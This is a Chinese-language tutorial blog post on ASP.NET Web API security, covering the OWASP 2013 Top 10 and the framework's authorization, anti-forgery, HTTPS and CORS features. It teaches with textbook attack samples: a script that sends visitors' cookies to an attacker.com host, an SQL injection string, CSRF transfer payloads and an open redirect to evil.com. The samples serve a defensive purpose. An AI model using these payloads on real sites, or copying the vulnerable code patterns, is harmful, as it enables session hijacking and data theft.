參考頁面:
http://www.yuanjiaocheng.net/Spring/first.html
http://www.yuanjiaocheng.net/entity/modelbrowser.html
http://www.yuanjiaocheng.net/entity/dbcontext.html
http://www.yuanjiaocheng.net/mvc/first.html
http://www.yuanjiaocheng.net/webapi/first.html
Web API入門指南有些朋友回復問了些安全方面的問題,安全方面可以寫的東西實在太多了,這裡盡量圍繞著Web API的安全性來展開,介紹一些安全的基本概念,常見安全隱患、相關的防御技巧以及Web API提供的安全機制。
先引用下wikipedia信息安全的定義:即保護信息免受未經授權的進入、使用、披露、破壞、修改、檢視、記錄及銷毀,從而保證數據的機密性(Confidentiality)、完整性(Integrity)和可靠性(Availability)。
機密性和完整性都很好理解,可靠性作為信息安全的一個重要原則這裡特別解釋一下,即訪問信息的時候保證可以訪問的到,有一種攻擊方式叫DOS/DDOS,即拒絕服務攻擊,專門破壞網站的可用性。
Information security, sometimes shortened to InfoSec, is the practice of defending information from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction.
圍繞Web API安全,在不同的層次上有不同的防護措施。例如,
下圖是一個概覽。
安全隱患種類繁多,這裡簡單介紹下OWASP 2013年票選前十位安全隱患。
注入是指輸入中包含惡意代碼(在解釋器中會被作為語句執行而非純文本),直接被傳遞給給解釋器並執行,那麼攻擊者就可以竊取、修改或者破壞數據。
注入有很多種類型,最常見的如SQL注入、LDAP注入、OS命令注入等。
示例
以下代碼是一個典型的SQL注入隱患
String query = "SELECT * FROM accounts WHERE customerName='" + request.getParameter("name") + "'";
如果輸入中customerName後面加上一個' or '1'='1,可以想象所有的accounts表數據都回被返回。
防御
開發人員經常自己編寫認證或session管理模塊,但是這種模塊需要考慮的因素眾多,很難正確完整的實現。所以經常會在登入登出、密碼管理、超時設置、安全問題、帳戶更新等方面存在安全隱患,給攻擊者以可乘之機。
示例
防御
允許跨站腳本是Web 2.0時代網站最普遍的問題。如果網站沒有對用戶提交的數據加以驗證而直接輸出至網頁,那麼惡意用戶就可以在網頁中注入腳本來竊取用戶數據。
示例
例如網站通過以下代碼直接構造網頁輸出,
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
攻擊者輸入以下數據,
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.
當該數據被輸出到頁面的時候,每個訪問該頁面的用戶cookie就自動被提交到了攻擊者定義好的網站。
防御
這個問題在動態網頁中也相當普遍,指的是頁面存在對數據對象的鍵/名字的直接引用,而網站程序沒有驗證用戶是否有訪問目標對象的權限。
示例
例如一個網站通過以下代碼返回客戶信息,
String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( );
攻擊者可以通過修改querystring來查詢任何人的信息
http://example.com/app/accountInfo?acct=notmyacct
防御
安全配置可能在各個級別(platform/web server/application server/database/framework/custom code)出錯,開發人員需要同系統管理合作來確保合理配置。
示例
配置問題的范例比較多樣,常見的幾種如下,
防御
這種漏洞就是導致知名網站用戶信息洩露的關鍵,通過明文存儲敏感數據。
示例
防御
功能級別權限控制一般是寫在代碼中或者通過程序的配置文件來完成,但是可惜的是開發者經常忘記添加一些功能的權限控制代碼。
示例
例如以下鏈接本該只有admin才能訪問,但如果匿名用戶或者非admin用戶可以直接在浏覽器中訪問該鏈接,說明網站存在功能級權限控制漏洞。
http://example.com/app/getappInfo http://example.com/app/admin_getappInfo
防御
同樣是跨站請求,這種與問題3的不同之處在於這個請求是從釣魚網站上發起的。
示例
例如釣魚網站上包含了下面的隱藏代碼,
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
這行代碼的作用就是一個在example.com網站的轉帳請求,客戶訪問釣魚網站時,如果也同時登錄了example.com或者保留了example.com的登錄狀態,那個相應的隱藏請求就會被成功執行。
防御
幾乎每個程序都有這個問題,因為大多數人不會關心自己引用的庫文件是否存在已知安全漏洞,而且一旦部署成功就不會再有人關心是否有組件需要升級。然而這些組件在服務器中運行,擁有相當高的權限去訪問系統中的各種資源,一旦攻擊者利用該組件已知漏洞,那麼竊取或破壞信息也將不是難事。
示例
以下兩個組件都存在已知的安全缺陷從而可以讓攻擊者獲得服務器最高權限,但是在2011年他們被下載了22M次之多,但是其中有多少被更新了,多少還在繼續使用呢。
防御
很多網站都經常會需要進行頁面跳轉,而且有些跳轉會根據用戶輸入來決定,這樣就給了攻擊者可乘之機,從而可能將用戶導向惡意網站或者未授權鏈接。
示例
下面頁面請求根據query string url字段來進行跳轉,這樣攻擊者很容易偽造類似於以下的跳轉鏈接將客戶導向到釣魚網站。
http://www.example.com/redirect.jsp?url=evil.com
又如未授權用戶通過下面鏈接跳過授權檢查直接到admin頁面
http://www.example.com/boring.jsp?fwd=admin.jsp
防御
Web API包含了一套完整的安全機制,而且具備不錯的擴展性,這一節我們主要介紹Web API提供的一些基本安全相關的功能。
先給認證和授權下個定義。
什麼是認證?簡單來說認證就是搞清楚用戶是誰。
什麼是授權?授權就是搞清楚用戶可以做什麼。
認證
Web API的認證取決於宿主環境配置的認證方式,比如Web API host在IIS,那麼在IIS相應的網站上認證配置抑或自定義的認證模塊同樣會作用於Web API。
在Web API中檢查一個請求是否經過認證,可以通過以下屬性來判斷,
Thread.CurrentPrincipal.Identity.IsAuthenticated
如果程序需要采用自定義的認證方式,需要同時設置以下兩個屬性,
private void SetPrincipal(IPrincipal principal) { Thread.CurrentPrincipal = principal; if (HttpContext.Current != null) { HttpContext.Current.User = principal; } }
授權
授權在我們編寫API的時候經常會涉及到,Web API也提供了比較完整的授權檢查機制。
如果我們想知道認證的用戶信息,可以通過ApiController.User來查看。
public HttpResponseMessage Get() { if (User.IsInRole("Administrators")) { // ... } }
另外我們可以在不同級別使用AuthorizeAtrribute來控制不同級別的授權訪問。
如果我們希望在全局所有的Controller控制授權,只有授權用戶可以訪問的話,可以通過以下方式,
public static void Register(HttpConfiguration config) { config.Filters.Add(new AuthorizeAttribute()); }
如果希望控制在個別Controller級別,
[Authorize] public class ValuesController : ApiController { public HttpResponseMessage Get(int id) { ... } public HttpResponseMessage Post() { ... } }
如果希望控制在個別Action級別,
public class ValuesController : ApiController { public HttpResponseMessage Get() { ... } // Require authorization for a specific action. [Authorize] public HttpResponseMessage Post() { ... } }
如果希望允許個別Action匿名訪問,
[Authorize] public class ValuesController : ApiController { [AllowAnonymous] public HttpResponseMessage Get() { ... } public HttpResponseMessage Post() { ... } }
如果希望允許個別用戶或者用戶組,
// Restrict by user: [Authorize(Users="Alice,Bob")] public class ValuesController : ApiController { } // Restrict by role: [Authorize(Roles="Administrators")] public class ValuesController : ApiController { }
再來復習一遍什麼是偽造跨站請求攻擊
1. 用戶成功登錄了www.example.com,客戶端保存了該網站的cookie,並且沒有logout。
2. 用戶接下來訪問了另外一個惡意網站,包含如下代碼
<h1>You Are a Winner!</h1> <form action="http://example.com/api/account" method="post"> <input type="hidden" name="Transaction" value="withdraw" /> <input type="hidden" name="Amount" value="1000000" /> <input type="submit" value="Click Me"/> </form>
3. 用戶點擊submit按鈕,浏覽器向example.com發起請求到服務器,執行了攻擊者期望的操作。
上面的事例需要用戶點擊按鈕,但網頁也可以通過簡單的腳本直接在網頁加載過程中自動發送各種請求出去。
正如我們之前提到的防御方案所說,ASP.NET MVC中可以通過下面簡單的代碼可以在頁面中添加一個隱藏field,存放一個隨機代碼,這個隨機碼會與cookie一起在服務器通過校驗。這樣其他網站無法得到不同用戶的隨機代碼,也就無法成功執行相應的請求。
@using (Html.BeginForm("Manage", "Account")) { @Html.AntiForgeryToken() }
<form action="/Home/Test" method="post"> <input name="__RequestVerificationToken" type="hidden" value="6fGBtLZmVBZ59oUad1Fr33BuPxANKY9q3Srr5y[...]" /> <input type="submit" value="Submit" /> </form>
對於沒有form的ajax請求,我們無法通過hidden field來自動提交隨機碼,可以通過以下方式在客戶端請求頭中嵌入隨機碼,然後在服務器校驗,
<script> @functions{ public string TokenHeaderValue() { string cookieToken, formToken; AntiForgery.GetTokens(null, out cookieToken, out formToken); return cookieToken + ":" + formToken; } } $.ajax("api/values", { type: "post", contentType: "application/json", data: { }, // JSON data goes here dataType: "json", headers: { 'RequestVerificationToken': '@TokenHeaderValue()' } }); </script>
void ValidateRequestHeader(HttpRequestMessage request) { string cookieToken = ""; string formToken = ""; IEnumerable tokenHeaders; if (request.Headers.TryGetValues("RequestVerificationToken", out tokenHeaders)) { string[] tokens = tokenHeaders.First().Split(':'); if (tokens.Length == 2) { cookieToken = tokens[0].Trim(); formToken = tokens[1].Trim(); } } AntiForgery.Validate(cookieToken, formToken); }
對於需要啟用安全鏈接的地址,例如認證頁面,可以通過以下方式定義AuthorizationFilterAttribute,來定義哪些action必須通過https訪問。
public class RequireHttpsAttribute : AuthorizationFilterAttribute { public override void OnAuthorization(HttpActionContext actionContext) { if (actionContext.Request.RequestUri.Scheme != Uri.UriSchemeHttps) { actionContext.Response = new HttpResponseMessage(System.Net.HttpStatusCode.Forbidden) { ReasonPhrase = "HTTPS Required" }; } else { base.OnAuthorization(actionContext); } } }
public class ValuesController : ApiController { [RequireHttps] public HttpResponseMessage Get() { ... } }
在Visual Studio裡面測試的時候可以通過下面的設置來啟用SSL鏈接
IIS中可以通過如下設置來啟用SSL鏈接
<system.webServer> <security> <access sslFlags="Ssl, SslNegotiateCert" /> <!-- To require a client cert: --> <!-- <access sslFlags="Ssl, SslRequireCert" /> --> </security> </system.webServer>
跨域請求與前面的跨站偽造請求類似,有些情況下我們需要在網頁中通過ajax去其他網站上請求資源,但是浏覽器一般會阻止顯示ajax請求從其他網站收到的回復(注意浏覽器其實發送了請求,但只會顯示出錯),如果我們希望合理的跨域請求可以成功執行並顯示成功,我們需要在目標網站上添加邏輯來針對請求域啟用跨域請求。
要啟用跨域請求首先要從nuget上添加一個Cors庫引用,
Install-Package Microsoft.AspNet.WebApi.Cors
然後在WebApiConfig.Register中添加以下代碼
using System.Web.Http; namespace WebService { public static class WebApiConfig { public static void Register(HttpConfiguration config) { // New code config.EnableCors(); config.Routes.MapHttpRoute( name: "DefaultApi", routeTemplate: "api/{controller}/{id}", defaults: new { id = RouteParameter.Optional } ); } } }
接下來就可以在不同級別使用EnableCors屬性來控制啟用跨域請求了,
Global級別
public static class WebApiConfig { public static void Register(HttpConfiguration config) { var cors = new EnableCorsAttribute("www.example.com", "*", "*"); config.EnableCors(cors); // ... } }
Controller級別
[EnableCors(origins: "http://www.example.com", headers: "*", methods: "*")] public class ItemsController : ApiController { public HttpResponseMessage GetAll() { ... } public HttpResponseMessage GetItem(int id) { ... } public HttpResponseMessage Post() { ... } [DisableCors] public HttpResponseMessage PutItem(int id) { ... } }
Action級別
public class ItemsController : ApiController { public HttpResponseMessage GetAll() { ... } [EnableCors(origins: "http://www.example.com", headers: "*", methods: "*")] public HttpResponseMessage GetItem(int id) { ... } public HttpResponseMessage Post() { ... } public HttpResponseMessage PutItem(int id) { ... } }
允許跨域請求如何做到的?
浏覽器會根據服務器回復的頭來檢查是否允許該跨域請求,比如浏覽器的跨域請求頭如下,
GET http://myservice.azurewebsites.net/api/test HTTP/1.1 Referer: http://myclient.azurewebsites.net/ Accept: */* Accept-Language: en-US Origin: http://myclient.azurewebsites.net Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) Host: myservice.azurewebsites.net
如果服務器允許跨域,會添加一個Access-Control-Allow-Origin頭來通知浏覽器該請求應該被允許,
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Origin: http://myclient.azurewebsites.net Date: Wed, 05 Jun 2013 06:27:30 GMT Content-Length: 17 GET: Test message
本來還寫了一個類似於博客園的投票頁面,但是文章太長了,加載起來都費勁,下次一起貼出來。